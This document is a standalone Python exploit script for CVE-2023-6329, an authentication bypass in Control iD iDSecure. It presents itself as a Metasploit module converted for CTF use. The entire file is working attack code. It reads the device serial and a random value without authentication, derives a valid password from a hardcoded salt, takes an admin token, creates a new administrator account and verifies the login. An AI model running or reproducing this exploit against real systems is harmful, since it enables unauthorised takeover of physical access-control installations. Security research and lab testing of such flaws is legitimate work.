#!/usr/bin/env python3 """ CVE-2023-6329 - Control iD iDSecure Authentication Bypass Converts the Metasploit module to a standalone Python script for CTF use. Vulnerability: Improper access control in iDSecure <= v4.7.43.0 Impact: Unauthenticated attacker can compute valid credentials and add an admin user. """ import hashlib import json import argparse import sys import requests import urllib3 # Suppress SSL warnings (self-signed certs are common on these devices) urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def check_version(base_url: str) -> str | None: """ Step 0: Probe the target to confirm it's vulnerable. The /api/util/configUI endpoint returns 401 with version info even unauthed. """ try: res = requests.get(f"{base_url}/api/util/configUI", verify=False, timeout=10) except requests.exceptions.ConnectionError: print("[-] Could not connect to target.") return None if res.status_code != 401: print(f"[-] Unexpected status code {res.status_code}, expected 401.") return None data = res.json() version = data.get("Version") if not version: print("[-] Could not retrieve version from response.") return None print(f"[*] Target version: {version}") # Simple version comparison - vulnerable if <= 4.7.43.0 def parse_ver(v): return tuple(int(x) for x in v.split(".")) if parse_ver(version) <= parse_ver("4.7.43.0"): print("[+] Target appears VULNERABLE.") else: print("[-] Target appears patched. Proceeding anyway...") return version def get_unlock_data(base_url: str) -> tuple[str, str]: """ Step 1: Hit the unlockGetData endpoint to retrieve two key values: - 'serial': the device's serial number (used as a seed) - 'passwordRandom': a one-time random value tied to this login attempt These are returned unauthenticated, which is the root of the vulnerability. """ res = requests.get(f"{base_url}/api/login/unlockGetData", verify=False, timeout=10) res.raise_for_status() data = res.json() password_random = data["passwordRandom"] serial = data["serial"] print(f"[+] passwordRandom : {password_random}") print(f"[+] serial : {serial}") return serial, password_random def compute_password_custom(serial: str, password_random: str) -> str: """ Step 2: Derive the 'passwordCustom' value that the server will accept. The algorithm is: 1. SHA1(serial) -> sha1_hash (hex string) 2. sha1_hash + passwordRandom + 'cid2016' -> combined (hardcoded salt!) 3. SHA256(combined) -> sha256_hash (hex string) 4. Take first 6 hex chars, convert to decimal -> passwordCustom The hardcoded salt 'cid2016' is what makes this exploitable — any attacker can reproduce this calculation with publicly known inputs. """ sha1_hash = hashlib.sha1(serial.encode()).hexdigest() combined = sha1_hash + password_random + "cid2016" # <-- hardcoded salt sha256_hash = hashlib.sha256(combined.encode()).hexdigest() short_hash = sha256_hash[:6] # first 6 hex chars password_custom = str(int(short_hash, 16)) # hex -> decimal string print(f"[*] Computed passwordCustom: {password_custom}") return password_custom def login_with_computed_creds(base_url: str, password_custom: str, password_random: str) -> str: """ Step 3: Use the computed passwordCustom + passwordRandom to authenticate. On success the server returns a JWT (accessToken) granting admin access. """ payload = { "passwordCustom": password_custom, "passwordRandom": password_random } res = requests.post( f"{base_url}/api/login/", json=payload, verify=False, timeout=10 ) res.raise_for_status() data = res.json() access_token = data.get("accessToken") if not access_token: print("[-] No accessToken in response. Auth may have failed.") sys.exit(1) print(f"[+] JWT: {access_token[:60]}...") return access_token def add_admin_user(base_url: str, token: str, username: str, password: str) -> None: """ Step 4: Use the JWT to create a new operator (admin) account. idType '1' corresponds to an administrative role. """ payload = { "idType": "1", "name": username, "user": username, "newPassword": password, "password_confirmation": password } res = requests.post( f"{base_url}/api/operator/", json=payload, headers={"Authorization": f"Bearer {token}"}, verify=False, timeout=10 ) res.raise_for_status() data = res.json() if data.get("code") == 200 and data.get("error") == "OK": print(f"[+] User '{username}' created successfully.") else: print(f"[-] Unexpected response when creating user: {data}") sys.exit(1) def verify_login(base_url: str, username: str, password: str) -> None: """ Step 5: Confirm the new account actually works by logging in with it. """ payload = { "username": username, "password": password, "passwordCustom": None } res = requests.post( f"{base_url}/api/login/", json=payload, verify=False, timeout=10 ) res.raise_for_status() data = res.json() if "accessToken" in data: print(f"[+] Verified! New credentials work.") print(f"[+] Login at: {base_url}/#/login") print(f" Username : {username}") print(f" Password : {password}") else: print("[-] Could not verify new credentials.") def main(): parser = argparse.ArgumentParser( description="CVE-2023-6329 - Control iD iDSecure Auth Bypass" ) parser.add_argument("--host", required=True, help="Target IP or hostname") parser.add_argument("--port", default=30443, type=int, help="Target port (default: 30443)") parser.add_argument("--no-ssl", action="store_true", help="Disable SSL/HTTPS") parser.add_argument("--username", default="pwned_admin", help="New admin username to create") parser.add_argument("--password", default="Pwned1234!", help="Password for the new account") args = parser.parse_args() scheme = "http" if args.no_ssl else "https" base_url = f"{scheme}://{args.host}:{args.port}" print(f"[*] Target: {base_url}") print("=" * 60) check_version(base_url) serial, password_random = get_unlock_data(base_url) password_custom = compute_password_custom(serial, password_random) token = login_with_computed_creds(base_url, password_custom, password_random) add_admin_user(base_url, token, args.username, args.password) verify_login(base_url, args.username, args.password) if __name__ == "__main__": main()